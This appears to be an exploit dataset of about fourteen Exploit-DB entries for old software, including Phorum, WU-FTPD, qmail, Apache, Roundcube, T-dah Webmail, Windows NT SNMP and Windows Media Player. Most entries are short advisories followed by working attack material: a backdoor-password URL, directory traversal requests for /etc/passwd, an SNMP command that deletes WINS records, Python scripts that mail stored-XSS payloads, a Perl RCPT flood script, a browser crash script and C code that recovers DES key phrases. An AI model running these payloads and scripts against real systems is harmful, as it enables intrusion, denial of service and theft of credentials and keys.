QLWD/code_shield huggingface dataset:
标题: Phorum 3.0.7 - 'auth.php3' Backdoor Access EDB-ID: 20588 CVE: 2000-1230 类型: WEBAPPS 平台: PHP 发布日期: 2000-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2274/info

Phorum is a freely available, open source, popular WWW Board written by Brian Moon. It is designed to enhance the services offered on a web page, allow users to interact with one another through bulletin board chat and discussion.

A problem with the package allows users access to any resources within the bulletin board system. Any file that is access controlled by the auth.php3 script may be accessed, due to a backdoor password written into the script auth.php3. The password "boogieman" will permit users to access files controlled by auth.php3 by simply appending the variable PHP_AUTH_USER=boogieman to the URL. This makes it possible for users with malicious intentions to access any file under the access control of auth.php3, and potentially gain elevated privileges, including access to the local system. 

This vulnerability can be exploited by appending the PHP_USER_AUTH variable to the URL with the password "boogieman" as the value.

http://some.host.com/admin.php3

This file would not be accessible by the unauthenticated user. However,

http://some.host.com/admin.php3?PHP_AUTH_USER=boogieman

will permit access to this file. URL: https://www.exploit-db.com/exploits/20588
标题: LocalWEB2000 1.1 - Directory Traversal EDB-ID: 20585 CVE: 2001-0189 类型: LOCAL 平台: WINDOWS 发布日期: 2001-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/2268/info

LocalWEB2000 is subject to a directory traversal. Requesting a specially crafted HTTP request with a known filename will enable an attacker to gain read access to the requested file. 

http://target/../../../autoexec.bat URL: https://www.exploit-db.com/exploits/20585
标题: Netscape Enterprise Server 3.0/4.0 - 'Index' Disclosure EDB-ID: 20591 CVE: 2001-0250 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/2285/info

Netscape Enterprise Server with Web Publishing enabled will disclose the directory listing of the server to unauthenticated users who submit an INDEX request. 

INDEX / HTTP/1.0 URL: https://www.exploit-db.com/exploits/20591
标题: WU-FTPD 2.4.2/2.5/2.6 - Debug Mode Client Hostname Format String EDB-ID: 20594 CVE: 2001-0187 类型: REMOTE 平台: UNIX 发布日期: 2001-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2296/info

Wu-ftpd is a widely used unix ftp server. It contains a format string vulnerability that may be exploitable under certain (perhaps 'extreme') circumstances.

When running in debug mode, Wu-ftpd logs user activity to syslog in an insecure manner. An attacker with control over the server's hostname resolving facility could exploit this vulnerability to get root access remotely on the victim host. 

The following example demonstrates the vulnerability.

Note: /etc/hosts is used as the example name resolving mechanism. Could be DNS, NIS, etc.

Conditions:

$ grep 127.0.0.1 /etc/hosts
127.0.0.1 %x%x%x%x%x%x%x%x%x%x

$ grep ftpd /etc/inetd.conf
ftp stream tcp nowait root /usr/sbin/tcpd /tmp/wuftpd-2.6.0/src/ftpd -v

$ ncftpget -F 127.0.0.1 /tmp /usr/lib/ld.so

$ tail /var/log/syslog.debug

Jan 24 14:17:01 xxx ftpd[30912]: PASV port 47479 assigned to 80862b0806487eb9778084da87bffff16c9640151020bfffe108401c9004 [127.0.0.1]

..<snip extra output>.. URL: https://www.exploit-db.com/exploits/20594
标题: Microsoft Windows NT 4.0 - SNMP-WINS Denial of Service EDB-ID: 20564 CVE: 1999-0294 类型: DOS 平台: WINDOWS 发布日期: 1997-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/2244/info


The Simple Network Management Protocol (SNMP) provides remote network administration functions. Windows NT provides an optional SNMP implementation. Windows NT networks can use Windows Internet Name Service (WINS), a DNS-like service, to register clients on the network. The SNMP service provided with NT Server 4.0 and NT Server 4.0 Terminal Server Edition allow a remote user to delete WINS records, initiating a denial of service against the network. The only caveat to this is that the attacker must know the SNMP community name and be able to access the SNMP service. This does represent a significant vulnerability because regular access control functions are bypassed by the SNMP function, and SNMP community names are often left at their default values (eg., "public"). 

"Since the SNMP toolset implemented under NT will not do
snmp-set-requests, my sample exploit was done using the CMU SNMP
development kit under Unix. The command "rnjdev02:~/cmu$ snmpset -v 1
192.178.16.2 public .1.3.6.1.4.1.311.1.2.5.3.0 a 192.178.16.2"
successfully entirely deleted my WINS database." URL: https://www.exploit-db.com/exploits/20564
标题: Skunkware 2.0 - view-source Directory Traversal EDB-ID: 20568 CVE: 1999-0174 类型: REMOTE 平台: SCO 发布日期: 1997-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2251/info

view-source is a script included with the httpd package bundled with Skunkware 2.0. Skunkware 2.0 is a variant of the UNIX Operating System distributed by Santa Cruz Operations.

A problem with the view-source script could allow access to restricted files remotely. The problem occurs in the handling of slashes and dots when appended to the view-source script. By appending a series of double-dots and slashes to a query using the view-source script, it is possible to traverse the directory structure on a web server. By doing so, it is possible for to view the contents of directories, and files that are readable by the UID of the httpd process. This flaw makes it possible for a user with malicious motives to read files on a remote system and gather intelligence for an attack against the system, as well as other potentially sensitive information. 

http://vulnerable.server/cgi-bin/view-source?../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20568
标题: PHP PHP/fi 2.0 - Directory Traversal EDB-ID: 20567 CVE: 1999-0238 类型: REMOTE 平台: CGI 发布日期: 1997-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/2250/info

PHP/FI is an software suite designed to offer enhanced features to sites served via the World Wide Web. It is open source, freely available, and maintained by the PHP development team.

A problem with the software could allow remote users access to restricted resources. Due to a design problem in the software package, the PHP/FI software package allows a remote user to browse directories and view files stored on the local host. It is possible to view only those files which the UID of the local httpd process has access to read. A user with malicious intent could use this vulnerability to gather information on the local host, and possibly gain remote access to encrypted user passwords on a system not using the shadow password suite. 

http://www.someurl.com/php.cgi?/path/to/file URL: https://www.exploit-db.com/exploits/20567
标题: T-dah Webmail Client - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 20579 CVE: 2012-2573 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-17 漏洞利用脚本: #!/usr/bin/python

'''

# Exploit Title: T-dah Webmail Multiple Stored XSS issues.
# Date: 17/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://tdah.us/
# Software Link: http://sourceforge.net/projects/t-dahmail/files/latest/download?utm_expid=6384-3&utm_referrer=http%3A%2F%2Fsourceforge.net%2Fprojects%2Ft-dahmail%2F
# Version: 3.2.0
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

About the Application:
======================

T-dah is an Open Sourced Universal Webmail origially developed by Aldoir Ventura under the name Uebimiau in which we picked up late in 2007.
It is free and can be installed on any server that supports PHP.


Vulnerability Description
=========================

1. XSS In message body (HREF)

Send an email to the victim with the payload in the e-mail body.
XSS Will be triggered when the user clicks the link.

XSS Payload: <a href=javascript:alert("XSS")>Click Me</a>

2. Stored XSS in email body (Previously Discovered by loneferret - http://www.exploit-db.com/exploits/20364/).

XSS Payload: <img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the email body, once the user opens the message XSS should be triggered.


3. Stored XSS contacts.

Another stored XSS can be triggered when crating a new contact, almost every field in the form is vulnerable
for example you can inject your payload <img src='1.jpg'onerror=javascript:alert("XSS")> in the "Name" field, Save contact, XSS Shoud be triggerd.

4. Stored XSS in Calendar

Add a new event to calendar and in the message field insert the javascript payload: <img src='1.jpg'onerror=javascript:alert("XSS")>
Save the event, XSS Should be truggered.


'''

import smtplib

print "###############################################"
print "#      T-dah Webmail 3.2.0 Stored XSS POC     #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "T-dah Webmail XSS POC"

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<img src='1.jpg'onerror=javascript:alert("XSS-1")>\r\n"""
msg += """<a href=javascript:alert("XSS-2")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!" URL: https://www.exploit-db.com/exploits/20579
标题: Dan Bernstein QMail 1.0 3 - RCPT Denial of Service (1) EDB-ID: 20561 CVE: 1999-0144 类型: DOS 平台: LINUX 发布日期: 1997-06-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/2237/info

qmail is an e-mail server package developed by Dan Bernstein.

The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.

This behaviour is due to the dynamically allocated memory being exhausted.

The condition occurs in situations where resource limits are not imposed on the server process.

Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.

Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.

It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.

#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
my $port = 25; my $proto = getprotobyname("tcp");
my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
send(SKT,"mail from: <me\@me>\n",0) || die "send() $!";
my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n");
while(<SKT>){
send(SKT,$infstr,0) || die "send() $!";
}
die "Connection lost!"; URL: https://www.exploit-db.com/exploits/20561
标题: Apache 1.2 - Denial of Service EDB-ID: 20558 CVE: 1999-0107 类型: DOS 平台: MULTIPLE 发布日期: 1997-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/2216/info

Apache Web Server 1.2 and previous versions are subject to a denial of service. By requesting a malformed GET request composed of an unusually large number of '/' characters, an attacker can cause CPU usage to spike. A restart of the service is required to gain normal functionality. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20558.zip URL: https://www.exploit-db.com/exploits/20558
标题: Roundcube Webmail 0.8.0 - Persistent Cross-Site Scripting EDB-ID: 20549 CVE: 2012-4668 2012-3508 类型: WEBAPPS 平台: PHP 发布日期: 2012-08-16 漏洞利用脚本: #!/usr/bin/python

'''
# Exploit Title: Roundcube Webmail Stored XSS.
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://roundcube.net
# Software Link: http://sourceforge.net/projects/roundcubemail/files/roundcubemail/0.8.0/roundcubemail-0.8.0.tar.gz/download
# Version: 0.8.0


#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar

# Timeline:
#14 Aug 2012: Discovered Vulnerability.
#14 Aug 2012: Opened Ticket #1488613 - http://trac.roundcube.net/ticket/1488613
#15 Aug 2012: Fix added to repo.

https://github.com/roundcube/roundcubemail/commit/c086978f6a91eacb339fd2976202fca9dad2ef32
https://github.com/roundcube/roundcubemail/commit/5ef8e4ad9d3ee8689d2b83750aa65395b7cd59ee


About the Application:
======================

Roundcube is a free and open source webmail solution with a desktop-like user interface which is easy to install/configure and that runs on a standard LAMPP
server. The skins use the latest web standards such as XHTML and CSS 2. Roundcube includes other sophisticated open-source libraries such as PEAR,
an IMAP library derived from IlohaMail the TinyMCE rich text editor, Googiespell library for spell checking or the WasHTML sanitizer by Frederic Motte.

Vulnerability Description
=========================

1. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.

2. Self XSS in e-mail body (Signature).

XSS Payload: "><img src='1.jpg'onerror=javascript:alert("XSS")>

In order to trigger this XSS you should insert the payload into your signature.

Settings -> Identities -> Your Identitiy -> Signature
Now create a new mail, XSS Should be triggered.

'''

import smtplib

print "###############################################"
print "#       Roundcube 0.8.0 Stored XSS POC        #"
print "#             Coded by: Shai rod              #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Roundcube Webmail XSS POC"


# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!" URL: https://www.exploit-db.com/exploits/20549
标题: Microsoft Internet Explorer 4 / Outlook 2000/5.5 - 'MSHTML.dll' Crash EDB-ID: 20552 CVE: 2001-0322 类型: DOS 平台: WINDOWS 发布日期: 2001-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2202/info

MSHTML.DLL is the shared library for parsing HTML in Internet Explorer and related applications. It may be possible for an attacker to crash this library remotely and cause a denial of service with special Jscript code.

This bug involves Jscript's ability to handle multiple window objects. If a window object is deleted after it receives data and then re-initalized, the library will reportedly crash. This behavior has been attributed to a stack overflow by its discoverer. It is reportedly not exploitable in any way that may permit an attacker to gain access to the victim host.

Microsoft has acknowledged this bug and it should be fixed in the next service pack. 

<iframe id=test style="display:none"></iframe>
<script>
Larholm = {}; // Object literal
test.document.open(); // Stream data
test.document.write("<s"+"cript>top.Larholm.test=0</s"+"cript>");
delete Larholm;
Larholm = {}; // Crash
</script> URL: https://www.exploit-db.com/exploits/20552
标题: Microsoft Windows Media Player 7.0 - '.wmz' Arbitrary Java Applet EDB-ID: 20553 CVE: 2001-0137 类型: REMOTE 平台: WINDOWS 发布日期: 2001-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2203/info

A vulnerability has been reported in Microsoft Windows Media Player 7 which is exploitable through Internet Explorer and Java.

Skins are downloadable files which change the appearance of a program's user interface. Skins for Windows Media Player are installed to a known location: "C:/Program files/Windows Media Player/Skins/skin.wmz".

As a result, a remote HTML document, visited by the victim user, can lead the user's browser to download an arbitrary file matching the the name 'skin.wmz' to this known location.

A malicious remote user could exploit this to upload a file containing executable java code disguised as a Windows Media Player skin file.

An applet tag in the remote HTML document can then execute the 'skin.wmz' file as Java code. Properly exploited, this could provide an attacker with complete control of the vulnerable system. On multiuser Windows NT or 2000 systems, this vulnerability can only provide the attacker with access to the system that is within the security context of the user who was exploited. 

<HTML>
<HEAD>
<TITLE>
Windows Media Player 7 and IE java vulnerability - executing arbitrary programs
</TITLE>
</HEAD>
<BODY>
<H3>
Windows Media Player 7 and IE java vulnerability - executing arbitrary programs
</H3>
<BR>
<p>Legal Notice:
<br>This Advisory and Demonstration is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
<p>Disclaimer:
<br>The opinions expressed in this advisory and program are my own and
not of any company.
<br>The usual standard disclaimer applies, especially the fact that Georgi
Guninski
<br>is not liable for any damages caused by direct or&nbsp; indirect use
of the information or functionality provided by this advisory or program.
<br>Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
<BR>
Read the <A HREF="wmp7-3-desc.html">Advisory</A> for more information.
<BR>
Wait a few seconds and a window will be opened.
<BR>
<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>
<SCRIPT>
function f()
{
window.open("wmp7-3a.html");
}
setTimeout("f()",4000);
</SCRIPT>
<BR>
<center>(C) Copyright 2000 Georgi Guninski</center>
<BR>
<center>
| <a href="http://www.guninski.com">Home</a> | 
<a href="browsers.html">Internet Explorer</a> | 
<a href="win2k.html">Windows 2000</a> | 
<a href="exploit.html">AIX</a> | 
<a href="netscape.html">Netscape</a> | 
<a href="greets.html">Greets</a> | 
<a href="index.html">More...</a> | 
</center>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/20553
标题: SSH 1.2.x - Secure-RPC Weak Encrypted Authentication EDB-ID: 20560 CVE: 2001-0259 类型: LOCAL 平台: UNIX 发布日期: 2001-01-16 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2222/info

SSH is a package designed to encrypt traffic between two end points using the IETF specified SSH protocol. The SSH1 package is distributed and maintained by SSH Communications Security.

A problem exists which could allow the discovery of the secret key used to encrypt traffic on the local host. When using SUN-DES-1 to share keys with other hosts on the network to facilitate secure communication via protocols such as NFS and NIS+, the keys are shared between hosts using the private key of the user and a cryptographic algorithm to secure the contents of the key, which is stored on the NIS+ primary. The problem occurs when the key is encrypted with the SUN-DES-1 magic phrase prior to having done a keylogin (the keyserv does not have the users DH private key). A design flaw in the software that shares the key with the NIS+ master will inconsistently return the correct value for an attempted keyshare that has failed. A step in the private key encryption process is skipped, and the users private key is then encrypted only with the public key of the target server and the SUN-DES-1 magic phrase, a phrase that is guessable due to the way it is generated. A user from the same host can then execute a function that returns another users magic phrase, and use this to decrypt the private key of the victim. This makes it possible for a user with malicious intent to gain knowledge of a users secret key, and decrypt sensitive traffic between two hosts, with the possibility of gaining access and elevated privileges on the hosts and/or NIS+ domain. This reportedly affects the SSH2 series of the software package. 

#include <stdio.h>
#include <rpc/rpc.h>

void die (char *msg)
{
  fprintf(stderr,"%s\n",msg);
  exit(1);
}

main (int argc, char **argv)
{
  char buf[MAXNETNAMELEN + 1];
  des_block block;
  uid_t uid;
  char *netname;

  if (argc < 3)
    die("supply uid and netname");

  sscanf(argv[1], "%d", &uid);
  netname = argv[2];
  memset(buf, 0, sizeof(buf));
  snprintf(buf, sizeof(buf), "ssh.%04X", uid);
  memcpy(block.c, buf, sizeof(block.c));
  if (key_encryptsession(netname, &block) != 0)
    die("key_encryptsession failed");
  printf("SUN-DES-1 magic phrase (uid %d, netname %s):\n  %08X%08X\n",
         uid,
         netname,
         ntohl(block.key.high),
         ntohl(block.key.low));
} URL: https://www.exploit-db.com/exploits/20560